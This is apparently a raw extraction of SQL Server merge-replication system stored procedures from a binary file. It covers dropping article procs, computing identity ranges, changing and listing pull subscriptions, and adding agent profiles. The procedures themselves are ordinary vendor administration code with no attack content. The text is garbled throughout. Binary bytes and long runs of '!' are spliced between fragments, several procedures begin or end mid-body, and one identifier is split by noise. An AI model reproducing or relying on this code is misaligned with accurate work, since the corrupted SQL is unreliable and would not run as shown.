	exec @retcode = sys.sp_register_custom_scripting @type = @type, @value = NULL, @publication = @publication, @article = @article
	return @retcode
end
0ҜB@ 8
create procedure sys.sp_MSgetsetupbelong_cost
AS
        declare @article_statistics_table nvarchar(400)
        declare @quoted_article_statistics_table nvarchar(400)
        
    -- if the article statistics table does not exist do report any article statistics
    -- at the same time there is no need to raise an error if the table does not exits
    -- For article statistics to work the AGENT MUST create this temp table.
    -- if you change the table name change it here, in drprep.cpp (setupbelongs function) and in sp_MSsetupbelongs
    select @article_statistics_table = '#setupbelongs_article_statistics_table'
    if OBJECT_ID('tempdb..' + @article_statistics_table) is not NULL
    begin
            select @quoted_article_statistics_table = QUOTENAME(@article_statistics_table)
            exec ('select article_name, setupbelong_time from ' + @quoted_article_statistics_table)
            if @@ERROR<>0
                    return (1)
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m
L`W	A<y1=s0 a8create procedure sys.sp_MSdroparticleprocs
    (@pubid uniqueidentifier, @artid uniqueidentifier, @update_proc_names bit = 1)
as
    set nocount on
    declare @ins_procname     sysname
    declare @upd_procname     sysname
    declare @sel_procname    sysname
    declare @metadata_select_procname    sysname
    declare @del_procname    sysname
    declare @ins_batch_procname sysname
    declare @upd_batch_procname sysname
    declare @tmp_procname    nvarchar(300)
    declare @view_sel_proc     nvarchar(290)
    declare @owner            sysname
    declare @objid            int
    declare @retcode        tinyint
    declare @backward_comp_level int
    declare @art_proc_suffix nvarchar(40)

    -- get the insert, update and conflict proc names from dbo.sysmergearticles

    exec @art_proc_suffix = sys.fn_MSmerge_getartprocsuffix @artid, @pubid

    select @ins_procname = 'MSmerge_ins_sp_' + @art_proc_suffix
    select @upd_procname = 'MSmerge_upd_sp_' + @art_proc_suffix
    select @sel_procname = 'MSmerge_sel_sp_' + @art_proc_suffix
    select @view_sel_proc = 'MSmerge_sel_' + @art_proc_suffix
    select @metadata_select_procname = 'MSmerge_sel_sp_' + @art_proc_suffix + '_metadata'
    select @del_procname = 'MSmerge_del_sp_' + @art_proc_suffix
    select @ins_batch_procname = @ins_procname + '_batch'
    select @upd_batch_procname = @upd_procname + '_batch'

    if (@ins_procname IS NOT NULL) and exists (select * from sys.objects where
            name = @ins_procname and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@ins_procname
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@ins_procname)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    if (@ins_batch_procname IS NOT NULL) and exists (select * from sys.objects where
            name = @ins_batch_procname and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@ins_batch_procname
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@ins_batch_procname)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    if (@upd_procname IS NOT NULL) and exists (select * from sys.objects where
            name = @upd_procname and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@upd_procname
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@upd_procname)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    if (@upd_batch_procname IS NOT NULL) and exists (select * from sys.objects where
            name = @upd_batch_procname and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@upd_batch_procname
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@upd_batch_procname)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    if (@sel_procname IS NOT NULL) and exists (select * from sys.objects where
            name = @sel_procname and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@sel_procname
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@sel_procname)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    if (@metadata_select_procname IS NOT NULL) and exists (select * from sys.objects where
            name = @metadata_select_procname and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@metadata_select_procname
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@metadata_select_procname)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    if (@del_procname IS NOT NULL) and exists (select * from sys.objects where
            name = @del_procname and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@del_procname
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@del_procname)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    if (@view_sel_proc IS NOT NULL) and exists (select * from sys.objects where
            name = @view_sel_proc and type = 'P')
    begin
        select @owner = schema_name(schema_id) from sys.objects where name=@view_sel_proc
        select @tmp_procname = QUOTENAME(@owner) + '.' + QUOTENAME(@view_sel_proc)
        exec ('drop proc ' + @tmp_procname)
        if @@ERROR<>0 return (1)
    end

    -- The reason a backward_comp_level check is done here is because the 7.0 merge agent calls sp_MSgetconflictinsertproc
    -- without a pubid. Hence the same proc would be used if two publications shared an article. If our backward_comp_level
    -- allows 70 it is possible and we have this table published in another publication then we should not delete the
    -- conflict insert proc
    select @backward_comp_level = backward_comp_level from dbo.sysmergepublications where pubid = @pubid

    if (@backward_comp_level >= 40) or not exists (select * from dbo.sysmergearticles where artid=@artid and pubid<>@pubid)
    begin
        exec @retcode= sys.sp_MSdrop_ins_conflict_proc @pubid=@pubid, @artid=@artid, @update_proc_names = @update_proc_names
        if @@error<>0 or @retcode<>0 return 1
    end

    -- drop down level procs always. There is no harm in doing this since we are dropping all procs anyway.
    -- this will help cleanup in some cases where after upgrade or after switching to 90 compat level the old 
    -- downlevel procs are left behind
    exec @retcode = sys.sp_MSmerge_dropdownlevelprocs @artid, @pubid
    if @retcode<>0 or @@error<>0
        return 1

    if @update_proc_names = 1
    begin
        update dbo.sysmergearticles set insert_proc = NULL, 
                                        update_proc = NULL, 
                                        select_proc = NULL, 
                                        metadata_select_proc = NULL, 
                                        delete_proc = NULL, 
                                        view_sel_proc = NULL 
                where pubid=@pubid and artid=@artid
    end
    
    return 0
0
 8create procedure sys.sp_MScompute_maxmin_identity
    @objid int,
    @max_identity numeric(38,0) output,
    @min_identity numeric(38,0) output
as
    declare @xtype tinyint
    declare @xprec tinyint
    
    select @xtype=system_type_id, @xprec=precision from sys.columns where object_id=@objid and is_identity=1
    if @xtype is NULL
    begin
        raiserror(20706, 16, -1)
        return 1
    end
        
    if (@xtype = 48) -- tinyint
    begin
        select @max_identity = power((convert(bigint,2)), 8-1) - 1 
        select @min_identity = power((convert(bigint,-2)), 8-1)
    end
    if (@xtype = 52) -- smallint
    begin
        select @max_identity = power((convert(bigint,2)), 8*2-1) - 1 
        select @min_identity = power((convert(bigint,-2)), 8*2-1)
    end
    if (@xtype = 56) -- int
    begin
        select @max_identity = power((convert(bigint,2)), 8*4-1) - 1 
        select @min_identity = power((convert(bigint,-2)), 8*4-1)
    end
    if (@xtype = 127) -- bigint
    begin
        select @max_identity = power((convert(bigint,2)), 62) - 1 + power((convert(bigint,2)), 62)
        select @min_identity = power((convert(bigint,-2)), 63)   
    end
    if (@xtype=108 or @xtype=106) -- numeric or decimal
    begin
        select @max_identity = convert(numeric(38,0), replicate('9',@xprec))
        select @min_identity = -@max_identity
    end
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<}5btermine the integer value for the sync_type.
            */

            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'automatic'
                SET @sync_typeid = @automatic
            ELSE
                SET @sync_typeid = @nosync

            /*
            ** Update the subscription with the new sync_type.
            */

            UPDATE dbo.sysmergesubscriptions
                   SET sync_type = @sync_typeid
                 WHERE subid = @subid
            IF @@ERROR <> 0
                BEGIN
                    RAISERROR (14053, 16, -1)
                    RETURN (1)
                END

        END
        
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'description'
        BEGIN
        UPDATE dbo.sysmergesubscriptions
                   SET description = @value
                 WHERE subid = @subid
            IF @@ERROR <> 0
                BEGIN
                    RAISERROR (14053, 16, -1) 
              
                    RETURN (1)
                END

        END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'use_interactive_resolver'
    BEGIN

        /* Check to make sure that we have a true/false. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
            BEGIN
                RAISERROR (14148, 16, -1, 'use_interactive_resolver')
                RETURN (1)
            END

        /* Determine the bit value. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            SET @use_interactive_bit = 1
        ELSE
            SET @use_interactive_bit = 0

        /* Update the subscription with the new 'use_interactive' value. */

        UPDATE dbo.MSmerge_replinfo
               SET use_interactive_resolver = @use_interactive_bit
             WHERE repid = @subid
        IF @@ERROR <> 0
            BEGIN
                RAISERROR (14053, 16, -1)
                RETURN (1)
            END
        /* If the subscription is enable for Sync Manager, then update the reg value */
        exec sys.sp_MSsubscription_enabled_for_syncmgr
            @publisher, @publisher_db, @publication, @subscriber, @subscriber_db, 
            @enabled_for_syncmgr OUT, @regkey OUT
        IF @@ERROR <> 0
            BEGIN
                RAISERROR (14053, 16, -1)
                RETURN (1)
            END
        if @enabled_for_syncmgr = 1
        begin
            select @use_interactive_int = convert(int, @use_interactive_bit)
            EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                                   @regkey,
                                   'UseInteractiveResolver',
                                   'REG_DWORD',
                                    @use_interactive_int
            if @retcode <> 0 OR @@ERROR <> 0
                BEGIN
                    RAISERROR (14053, 16, -1)
                    RETURN (1)
                END
        end

    END
        
     
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'priority'
    BEGIN

        select @db_name = db_name from dbo.sysmergesubscriptions
            where (pubid=@pubid) and (subid=@pubid)
        IF @db_name <> db_name()
            BEGIN
                RAISERROR (20048, 16, -1)
                RETURN (1)
            END

        /* Only the original publisher can change priority of a global subscriptions */

        IF @subscriber_type<>1  
            BEGIN
                RAISERROR (20044, 16, -1)  /* Local subscriber does not have priority*/
                RETURN (1)
            END

         
        BEGIN TRANSACTION
        save tran sp_changemergepullsubscription
            exec sys.sp_MSchange_priority @subid,  @value
            select @snapshot_ready=snapshot_ready from dbo.sysmergepublications where pubid = @pubid
            /* Insert the sp_MSchange_priority schema change only if the publication's snapshot is ready */
            if (@snapshot_ready > 0)
            begin
                select @schemaversion = schemaversion from dbo.sysmergeschemachange
                if (@schemaversion is NULL)
                set @schemaversion = 1
                else
                    select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                set @schemaguid = newid()
                set @artid = newid()
                set @schematype = @SCHEMA_TYPE_PRIORITYCHANGE
                select @schematext = 'exec dbo.sp_MSchange_priority '+ '''' + convert(nchar(36),@subid) + '''' + ',' + '''' + @value + '''' 
                exec sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                if @@ERROR <> 0 goto Rollback_tran
            end
        COMMIT TRANSACTION

    END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) IN 
                           ('publisher_login',
                            'publisher_password',
                            'publisher_security_mode',
                            'distributor',
                            'distributor_login',
                            'distributor_password',
                            'distributor_security_mode',
                            'ftp_address',
                            'ftp_port',
                            'ftp_login',
                            'ftp_password',
                            'alt_snapshot_folder',
                            'working_directory',
                            'use_ftp',
                            'offload_agent',
                            'offload_server',
                            'dynamic_snapshot_location',
                            'use_web_sync',
                            'internet_url',
                            'internet_login',
                            'internet_password',
                            'internet_security_mode',
                            'internet_timeout',
                            'hostname',
                            'merge_job_login',
                            'merge_job_password')
    BEGIN
        EXEC @retcode = sys.sp_change_subscription_properties @publisher = @publisher,
                                                              @publisher_db = @publisher_db,
                                                              @publication = @publication,
                                                              @property = @property,
                                                              @value = @value,
                                                              @publication_type = 2
        IF @retcode <> 0
            RETURN 1
    END


    /*
    ** Return succeed.
    */

    RAISERROR (14054, 10, -1)
    RETURN (0)
    
Rollback_tran:
    rollback tran sp_changemergepullsubscription
    commit tran
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#v[
create procedure sys.sp_helpmergepullsubscription(
    @publication         sysname = '%',        /* Publication name */
    @publisher            sysname = '%',      /* Publisher server */
    @publisher_db        sysname = '%',      /* Publication database */
    @subscription_type    nvarchar(10) = 'pull'    /* Show only pull subscriptions */
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    declare @retcode                         int
    declare @srvid                             int
    declare    @pubid                             uniqueidentifier
    declare    @subid                             uniqueidentifier
    declare @cursor_open                    int
    declare @subscriber                        sysname
    declare @subscriber_db                    sysname
    declare @publisher_local                sysname
    declare @publisher_db_local                sysname
    declare @publication_local                sysname
    declare @helpsubscriptioncursor_open    int
    declare @subtype1 smallint
    declare @subtype2 smallint
    declare @subtype3 smallint
    declare @fpullsubexists bit

    set @cursor_open = 0                    
    select @publisher_db = RTRIM(@publisher_db)
    select @publication = RTRIM(@publication)
	select @fpullsubexists = 0
	
    -- For attach
    if exists (select * from sys.objects where name = 'MSrepl_restore_stage')
        -- The database is attached from a subscription copy file without using
        -- sp_attachsubscription. Return nothing
        return 0

    /*
    **    Calling sp_help* is all right whether current database is enabled for pub/sub or not
    */

    if object_id('sysmergesubscriptions', 'U') is null
    begin
        return 0
    end
        
    /* Security check */
    EXEC @retcode = dbo.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
        
    set @subscriber = @@SERVERNAME     
    set @subscriber_db = DB_NAME()
 
    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher <> '%' AND @publisher IS NOT NULL
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher

        IF @@ERROR <> 0 OR @retcode <> 0
               RETURN (1)
    END
 
    /*
    ** Parameter Check:  @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.  Disallow NULL.
    */
    if @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_helpmergepullsubscription')
        RETURN (1)
    END

    /*
    ** Parameter Check: @subscription_type.
    ** Set subscription_typeid based on the @subscription_type specified.
    **
    **   subscription_type    subscription_type
    **   =================    ===============
    **             0             push
    **           1,2,3             pull
    **              0,1            both
    */
    if LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('push', 'pull', 'both')
    BEGIN
          RAISERROR (14128, 16, -1)
        RETURN (1)
    END

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'both'
    begin
        set @subtype1 = 0
        set @subtype2 = 1
        set @subtype3 = 1
    end
    else IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
    begin
        set @subtype1 = 0
        set @subtype2 = 0
        set @subtype3 = 0
    end
    else
    begin
        -- including pull subscription and pull/anonymous/lightweight subscription
        set @subtype1 = 1
        set @subtype2 = 2
        set @subtype3 = 3
    end
    
    IF object_id('MSsubscription_properties', 'U') is NULL
        RETURN (0)

    /*
    ** Get subscriptions
    */
    
    create table #helpmergepullsubscription
        (
            publication                sysname        collate database_default not null,
            publisher                sysname        collate database_default not null,
            publisher_db            sysname        collate database_default not null,
            subscriber                sysname        collate database_default not null,
            subscriber_db             sysname        collate database_default not null,
            status                    int         NOT NULL,
            subscriber_type         int            NOT NULL,
            subscription_type         int            NOT NULL,
            priority                float(8)    NOT NULL,
            sync_type                tinyint        NOT NULL,
            description                nvarchar(255)     collate database_default null,
            merge_jobid                binary(16)        NULL,
            last_updated            nvarchar(26)     collate database_default null,
            use_interactive_resolver     int            NULL,
            subid                    uniqueidentifier    not NULL,
            last_sync_status        int                NULL,
            last_sync_summary        sysname            collate database_default null
        )

    if object_id('sysmergesubscriptions', 'U') is not null
    begin
        IF @publisher IS NULL and @publisher_db IS NULL
        BEGIN
            -- show the loopback subscription            
            insert into #helpmergepullsubscription 
                select pubs.name, pubs.publisher, pubs.publisher_db, subs.subscriber_server, subs.db_name, 
                    subs.status, subs.subscriber_type, subs.subscription_type, subs.priority, 
                    subs.sync_type, subs.description, replinfo.merge_jobid, 
                    sys.fn_replformatdatetime(subs.last_sync_date), 
                    replinfo.use_interactive_resolver, subs.subid, subs.last_sync_status, subs.last_sync_summary
                FROM      sysmergesubscriptions     subs,
                          MSmerge_replinfo         replinfo,
                        sysmergepublications     pubs
                where subs.subid = subs.pubid
                    and pubs.pubid = subs.pubid
                    and replinfo.repid = subs.subid             
        END
        else
        begin
            declare #cursor cursor local FAST_FORWARD FOR select DISTINCT sub.subid, sub.pubid 
                FROM dbo.sysmergesubscriptions     sub,
                dbo.sysmergepublications         pub 
                 WHERE ((@subscriber = N'%') OR (UPPER(sub.subscriber_server) = UPPER(@subscriber) collate database_default)) 
                    AND ((@publisher = N'%') OR (UPPER(pub.publisher) = UPPER(@publisher) collate database_default)) 
                       AND pub.name LIKE  @publication  
                       AND sub.pubid = pub.pubid 
                    AND ((@subscriber_db = N'%') OR (sub.db_name = @subscriber_db collate database_default))
                    AND ((@publisher_db = N'%') OR (pub.publisher_db = @publisher_db collate database_default))
                    AND sub.subscription_type in (@subtype1, @subtype2, @subtype3) 
                FOR READ ONLY

            open #cursor
            select @cursor_open = 1                    
            fetch next from #cursor into @subid, @pubid
            while (@@fetch_status <> -1)
            begin
                insert into #helpmergepullsubscription 
                    select pubs.name, pubs.publisher, pubs.publisher_db, subs.subscriber_server, subs.db_name, 
                        subs.status, subs.subscriber_type, subs.subscription_type, subs.priority, 
                        subs.sync_type, subs.description, replinfo.merge_jobid, 
                        sys.fn_replformatdatetime(subs.last_sync_date), 
                        replinfo.use_interactive_resolver, @subid, subs.last_sync_st!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<'
J1[atus, subs.last_sync_summary
                    FROM      sysmergesubscriptions     subs,
                              MSmerge_replinfo         replinfo,
                            sysmergepublications     pubs
                    where subs.subid = @subid
                        and pubs.pubid = @pubid
                        and subs.pubid = @pubid
                        and @subid <> @pubid -- do not show the loopback subscription
                        and replinfo.repid = subs.subid 

                if @@ERROR <> 0
                begin
                    set @retcode = 1
                    goto DONE
                end                    
                fetch next from #cursor into @subid, @pubid
            end
        end
    end

	IF EXISTS(SELECT *
				FROM sysmergesubscriptions
				WHERE subscription_type != 0)
	BEGIN
		SELECT @fpullsubexists = 1
	END
	
    select 'subscription_name'= hs.publisher + ':' + hs.publisher_db + ':' + hs.publication collate database_default, hs.publication, hs.publisher,
            hs.publisher_db, hs.subscriber, hs.subscriber_db, hs.status, hs.subscriber_type, hs.subscription_type,
            hs.priority, hs.sync_type, hs.description, hs.merge_jobid, cast(isnull(sp.enabled_for_syncmgr,0) as int) as enabled_for_syncmgr, hs.last_updated, sp.publisher_login,
            sys.fn_repldecryptver4(sp.publisher_password), sp.publisher_security_mode, sp.distributor, sp.distributor_login, 
            sys.fn_repldecryptver4(sp.distributor_password), sp.distributor_security_mode, 'ftp_address' = null, 'ftp_port' = 0, 
            'ftp_login' = null, 'ftp_password' = null, sp.alt_snapshot_folder, sp.working_directory, sp.use_ftp, 
            sp.offload_agent, sp.offload_server, hs.use_interactive_resolver, hs.subid, 
            sp.dynamic_snapshot_location, hs.last_sync_status, hs.last_sync_summary, sp.use_web_sync,
            sp.internet_url, sp.internet_login, sys.fn_repldecryptver4(sp.internet_password), sp.internet_security_mode,
            sp.internet_timeout, sp.hostname,
            'job_login' =  sc.credential_identity,
            'job_password' = '**********'
            from #helpmergepullsubscription hs
             left outer join MSsubscription_properties sp
                  on hs.publisher = sp.publisher collate database_default
                 and hs.publisher_db = sp.publisher_db collate database_default
                 and hs.publication = sp.publication collate database_default
            left outer join msdb..sysjobsteps sj
                on sp.job_step_uid = sj.step_uid
            left outer join msdb..sysproxies p
                on sj.proxy_id = p.proxy_id
            left join sys.credentials sc
				on p.credential_id = sc.credential_id
            order by hs.publisher, hs.publisher_db, hs.publication, hs.subscriber, hs.subscriber_db
	if @@error <> 0 return 1
	
    select @retcode = 0
DONE:
    if (@cursor_open = 1)
    begin
        close #cursor
        deallocate #cursor
    end            

    return @retcode    
UlU          @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE


    /* 
    ** Distribution agent, skip error profile
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20599) -- Default Distribution Profile
    set @profile_desc = formatmessage(20600)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Merge agent : High volume server-to-server profile
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20616) -- High volume server-to-server profile
    set @profile_desc = formatmessage(20617) -- High volume server-to-server profile Description

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE
    -- 
    -- Distribution agent : OLEDB streaming usage Profile
    --
    select @profile_id = NULL
            ,@profile_name = isnull(formatmessage(20814),N'Message 20814')
            ,@profile_desc = isnull(formatmessage(20815),N'Message 20815')

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE
    --
    -- Initialize the replication monitor metrics enumeration
    --
    exec @retcode = sys.sp_replmonitorinitializemetrics 
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE
    --
    -- all done
    --
    return 0
FAILURE:
    return 1
end
}}    begin
            select @mergepub_found = 1
            goto DONE
        end             
    end

DONE:
	-- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @snapshot_job_name IS NOT NULL
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			IF @publisher_type = 'MSSQLSERVER'
			BEGIN
				SELECT @publisher_local = NULL
			END
			ELSE
			BEGIN
				SELECT @publisher_local = @publisher
			END
			
			EXEC @retcode = sys.sp_changepublication_snapshot @publication = @publication,
															@job_login = @job_login,
															@job_password = @job_password,
															@publisher = @publisher_local
			IF @retcode <> 0 OR @@ERROR <> 0
	            GOTO UNDO
		END
	END
	
	COMMIT TRANSACTION tr_addsnapshot_agent 
	
    if @transpub_found = 0 and @mergepub_found = 0
    begin
        RAISERROR (15001, 11, -1, @publication)
        RETURN (1)
    end
    return (0)

UNDO:
	ROLLBACK TRANSACTION tr_addsnapshot_agent 
	COMMIT TRANSACTION

	RETURN 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('
0Vv5Dcreate procedure sys.sp_addmergepullsubscription_agent 
(
    @name                            sysname = NULL,
    @publisher                        sysname,                          /* Publisher server */
    @publisher_db                    sysname,                          /* Publisher database */
    @publication                     sysname,                          /* Publication name */
    @publisher_security_mode        int = 1,
    @publisher_login                sysname = NULL,
    @publisher_password                sysname = NULL,
    @publisher_encrypted_password    bit = 0,
    @subscriber                        sysname = NULL,
    @subscriber_db                  sysname = NULL,
    @subscriber_security_mode        int = NULL,                        /* 0 standard; 1 integrated */
    @subscriber_login                sysname = NULL,
    @subscriber_password            sysname = NULL,
    @distributor                    sysname = NULL,
    @distributor_security_mode        int = 1,                        /* 0 standard; 1 integrated */
    @distributor_login                sysname = NULL,
    @distributor_password            sysname = NULL,
    @encrypted_password                bit = 0,            /* distributor password encrypted or not */
    @frequency_type                  int = NULL,
    @frequency_interval             int = NULL,                
    @frequency_relative_interval     int = NULL, 
    @frequency_recurrence_factor     int = NULL, 
    @frequency_subday                 int = NULL,
    @frequency_subday_interval         int = NULL,       
    @active_start_time_of_day         int = NULL, 
    @active_end_time_of_day         int = NULL,         
    @active_start_date                 int = NULL, 
    @active_end_date                 int = NULL,
    @optional_command_line             nvarchar(255) = '',            /* Optional command line arguments */
    @merge_jobid                    binary(16) = NULL OUTPUT,
    @enabled_for_syncmgr             nvarchar(5) = 'false', /* Enabled for SYNCMGR: true or false */
    @ftp_address                     sysname = NULL,
    @ftp_port                         int = NULL,
    @ftp_login                         sysname = NULL,
    @ftp_password                     sysname = NULL,
    @alt_snapshot_folder              nvarchar(255) = NULL,
    @working_directory                nvarchar(255) = NULL,
    @use_ftp                          nvarchar(5) = 'false',
    @reserved                         nvarchar(100) = N'', -- Not default to null because null problems in conditional expressions.
    @use_interactive_resolver       nvarchar(5) = 'false',
    @offloadagent                     nvarchar(5) = 'false',
    @offloadserver                    sysname = null,
    -- Used by DMO scripting
    @job_name                        sysname = NULL,
    @dynamic_snapshot_location      nvarchar(260) = NULL,
    @use_web_sync                    bit = 0,
    @internet_url                    nvarchar(260) = NULL,
